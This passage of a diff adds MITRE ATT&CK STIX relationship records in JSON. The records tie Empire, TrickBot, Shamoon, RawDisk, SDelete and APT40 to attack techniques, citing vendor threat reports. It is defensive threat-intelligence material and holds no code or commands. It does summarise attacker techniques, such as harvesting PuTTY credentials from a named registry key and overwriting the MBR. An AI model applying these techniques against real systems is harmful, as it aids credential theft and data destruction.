"https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Empire](https://attack.mitre.org/software/S0363) can enumerate antivirus software on the target.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11T20:01:20.374Z", + "id": "relationship--b9b28368-527c-4b13-9350-b2cda637e711", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.391Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use TLS to encrypt its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T14:14:22.055Z", + "id": "relationship--e26cfb89-f796-4ba1-bf5c-4084b6479762", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.624Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Empire](https://attack.mitre.org/software/S0363) can upload and download to and from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T14:14:22.071Z", + "id": "relationship--efd94521-6d23-4947-a257-1c81ac52f0d9", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.626Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T16:13:15.691Z", + "id": "relationship--a622b97a-e473-45a5-9e93-85c883f02074", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T16:16:04.375Z", + "id": "relationship--1e809121-085d-419e-a763-c9e2309af074", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T16:19:09.902Z", + "id": "relationship--89b157e1-3972-421e-87c9-f9e83b26ec90", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.303Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "source_name": "NCSC Joint Report Public Tools", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T16:19:59.194Z", + "id": "relationship--d3b5af98-ac27-4135-9da6-8e917cc0769d", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.705Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T16:20:54.316Z", + "id": "relationship--40848159-b266-42df-9cf8-785b2f78bcfc", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2018, August). Turla Outlook Backdoor: Analysis of an unusual Turla backdoor. Retrieved March 11, 2019.", + "source_name": "ESET Turla August 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has used an email with an Excel sheet containing a malicious macro to deploy the malware", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T17:42:01.027Z", + "id": "relationship--fb27a498-e1c1-47a4-a668-32c58c359f71", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has the ability to capture RDP credentials by capturing the CredEnumerateA API ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T17:42:01.042Z", + "id": "relationship--ce44b002-2ef5-4740-a39e-1e58c2817955", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.918Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) has retrieved PuTTY credentials by querying the Software\\SimonTatham\\Putty\\Sessions registry key", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-12T17:42:01.046Z", + "id": "relationship--91cff72f-644b-42e3-9c86-8cc6475f725a", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.910Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "description": "[Empire](https://attack.mitre.org/software/S0363) contains a variety of enumeration modules that have an option to use API calls to carry out tasks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-13T14:38:31.325Z", + "id": "relationship--8362d7e2-c22a-4bde-99dd-b2d66b4c775a", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Empire](https://attack.mitre.org/software/S0363) has the ability to obfuscate commands using Invoke-Obfuscation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-13T14:38:31.345Z", + "id": "relationship--16e0be5b-93bb-4db2-b6ed-02e34a6ce3cb", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "[Empire](https://attack.mitre.org/software/S0363) can use New-GPOImmediateTask to modify a GPO that will install and execute a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-13T14:45:00.237Z", + "id": "relationship--39266465-987d-46f6-8680-4149a5bfea50", + "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2019-06-24T17:15:45.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "source_name": "Github PowerShell Empire", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-13T17:10:01.761Z", + "id": "relationship--d2c3b075-5299-42e5-95de-8248dc0da551", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.932Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-14T20:17:16.297Z", + "id": "relationship--37516ada-befd-4e52-8f18-c56db974ea54", + "source_ref": "course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "modified": "2019-08-17T12:11:26.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to overwrite operating system files and disk structures with image files. In a later variant, randomly generated data was used for data overwrites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15T13:45:43.244Z", + "id": "relationship--4b4ac061-dee5-44f3-b0f5-021889eae45e", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15T14:49:54.404Z", + "id": "relationship--f9157f58-5dae-48ed-b6fb-73d8aa432626", + "source_ref": "course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c", + "modified": "2019-07-24T14:26:44.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) has an operational mode for encrypting data instead of overwriting it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15T18:07:25.455Z", + "id": "relationship--d7f4f6eb-05b8-43af-8d8a-e06b1d950165", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.310Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) used ssh for internal reconnaissance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.507Z", + "id": "relationship--25e695b0-1110-43ab-be79-5e89e3951759", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.524Z", + "id": "relationship--fbcd00ef-0518-414d-9026-b736f036606a", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has targeted RDP credentials and used it to move through the victim environment. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.526Z", + "id": "relationship--d4c15cb6-ed2f-4ed0-8e6d-dd69e06c3c3f", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) relies on web shells for an initial foothold as well as persistence into the victim's systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.544Z", + "id": "relationship--d0cd2d2a-3a74-488b-8227-00e32ed12291", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.715Z", + "id": "relationship--24879d15-1ec3-437c-bdc5-5b7ac46bb4f5", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.571Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.759Z", + "id": "relationship--86f6e11c-759b-438d-9f32-004708c68f2c", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.569Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-18T14:05:57.762Z", + "id": "relationship--5bbeba86-0f26-4c02-9c66-8118ad6c0208", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.", + "source_name": "FireEye APT40 March 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T11:40:59.057Z", + "id": "relationship--cfb4c18a-d76e-47fd-a89b-a4b4fce1c643", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "modified": "2019-04-24T00:37:08.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "source_name": "Microsoft SDelete July 2016", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to help overwrite components of disk structure like the MBR and disk partitions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T12:30:41.047Z", + "id": "relationship--6add4de1-3af8-4994-b65f-ccb13fdd703a", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "modified": "2019-04-19T19:04:56.009Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[RawDisk](https://attack.mitre.org/software/S0364) was used in [Shamoon](https://attack.mitre.org/software/S0140) to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T12:30:41.057Z", + "id": "relationship--d7d25f15-7451-4092-acb5-1a22095bc3cd", + "source_ref": "tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079", + "modified": "2019-04-19T19:04:56.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "source_name": "Unit 42 Shamoon3 2018", + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) has been seen overwriting features of disk structure such as the MBR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25T13:23:40.121Z", + "id": "relationship--10bc4c79-d47f-4d49-bc06-c65ae376a4b6", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.", + "source_name": "Symantec Shamoon 2012", + "url": "https://www.symantec.com/connect/blogs/shamoon-attacks" + }, + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + }, + { + "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", + "source_name": "Unit 42 Shamoon3 2018", + "url": 